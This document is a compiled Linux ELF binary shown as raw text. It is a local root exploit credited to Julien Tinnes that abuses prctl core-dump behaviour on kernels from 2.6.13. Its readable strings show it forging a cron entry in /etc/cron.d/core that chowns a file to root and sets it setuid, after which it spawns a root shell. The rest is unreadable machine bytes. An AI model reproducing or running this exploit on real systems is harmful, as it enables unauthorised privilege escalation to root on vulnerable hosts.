ELFl4H4 (444  H((( Qtd/lib/ld-linux.so.2GNU    6<<)L\/lh|Pa?Z#HT̅6I܅)m :'z,ȊO<:L \G libc.so.6geteuidsnprintfgetpidprctlexeclperrorreadlinksetrlimitsleepkillchdirsetgidsignalforkgettimeofdayexit_IO_stdin_used__libc_start_mainsetuid__gmon_start__GLIBC_2.2GLIBC_2.0iiii$؞ܞ      Uq[5О%Ԟ%؞h%ܞh%h%h%h %h(%h0%h8p%h@`%hHP%hP@%hX0%h` % hh%hp%hx%h%h% h1^PTRh@hQVh7_US[3PXtЋ]ÐU=@u)tҡu@ÉUȞtt hȞЃÐUjh`h`U)uZ h̊ j j5jhht hD hEhh`h'ku h6 hDhj u hlO hwhjX hxu h}jj?u% h hZD h܋EPhh`h`h h hh4 E}v h h+[E}u hH5}u jx j hQj uu hh[jh`ju(`й<<)Pht. jx hÐUWVS [)19sאF9r [^_UVS[Â)ɍqu :[^ÉNuUSRt ЋuX[US[R][+] getting root shell /bin/sh[-] execle prctl() suidsafe exploit (C) Julien TINNES /proc/self/exe[-] readlinkThis is not fatal, rewrite the exploit [-] signal[+] Installed signal handler /etc/cron.d[-] chdir[-] prtctlIs you kernel version >= 2.6.13 ? [+] We are suidsafe dumpable! /etc/cron.d/core [-] cronstring is too small [+] Malicious string forged [-] fork[+] Segfaulting child [-] kill[+] Waiting for exploit to succeed (~%ld seconds) [-] It looks like the exploit failed Ğ#/etc/cron.d/core suid_dumpable exploit SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin #%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d  HL ̞|toDooBRbr…҅"2BRbGCC: (GNU) 3.2.3 20030502 (Red Hat Linux 3.2.3-53)GCC: (GNU) 3.2.3 20030502 (Red Hat Linux 3.2.3-53)GCC: (GNU) 3.2.3 20030502 (Red Hat Linux 3.2.3-54)GCC: (GNU) 3.2.3 20030502 (Red Hat Linux 3.2.3-54)GCC: (GNU) 3.2.3 20030502 (Red Hat Linux 3.2.3-54)GCC: (GNU) 3.2.3 20030502 (Red Hat Linux 3.2.3-53).symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.data.dynamic.ctors.dtors.jcr.got.bss.comment#(( 1HH7 `?LLGo,ToDD0c ttl || up,,@{ll< Ċ Ќ   Ȟ̞\@@@ @8x, P(HLDt|  , l ĊЌȞ̞@ *8ЌKȞX\@h ~ ĞЌȞ <<L\Ċ#l5|PEW ZoԜ@D  ` H`l ̅6܅Ԝ,H <(H7 MjԜ{ ) :Ԝ',(̞ Ԝ#Ȋ2<:BO cԜyL\G call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____EH_FRAME_BEGIN____JCR_LIST__p.0completed.1__do_global_dtors_auxframe_dummy__CTOR_END____DTOR_END____FRAME_END____JCR_END____do_global_ctors_auxprct3.creadlink@@GLIBC_2.0execl@@GLIBC_2.0getpid@@GLIBC_2.0_DYNAMIC_fp_hwperror@@GLIBC_2.0fork@@GLIBC_2.0signal@@GLIBC_2.0shsetrlimit@@GLIBC_2.2__fini_array_end__dso_handle__libc_csu_finisetgid@@GLIBC_2.0crontemplatefname_initprctl@@GLIBC_2.0myrlimitte_startchdir@@GLIBC_2.0sleep@@GLIBC_2.0cronstring__fini_array_start__libc_csu_init__bss_startmain__libc_start_main@@GLIBC_2.0__init_array_enddata_startprintf@@GLIBC_2.0_finigettimeofday@@GLIBC_2.0__preinit_array_endsnprintf@@GLIBC_2.0exit@@GLIBC_2.0_edata_GLOBAL_OFFSET_TABLE__end__init_array_start_IO_stdin_usedkill@@GLIBC_2.0__data_start_Jv_RegisterClasses__preinit_array_startsetuid@@GLIBC_2.0geteuid@@GLIBC_2.0__gmon_start__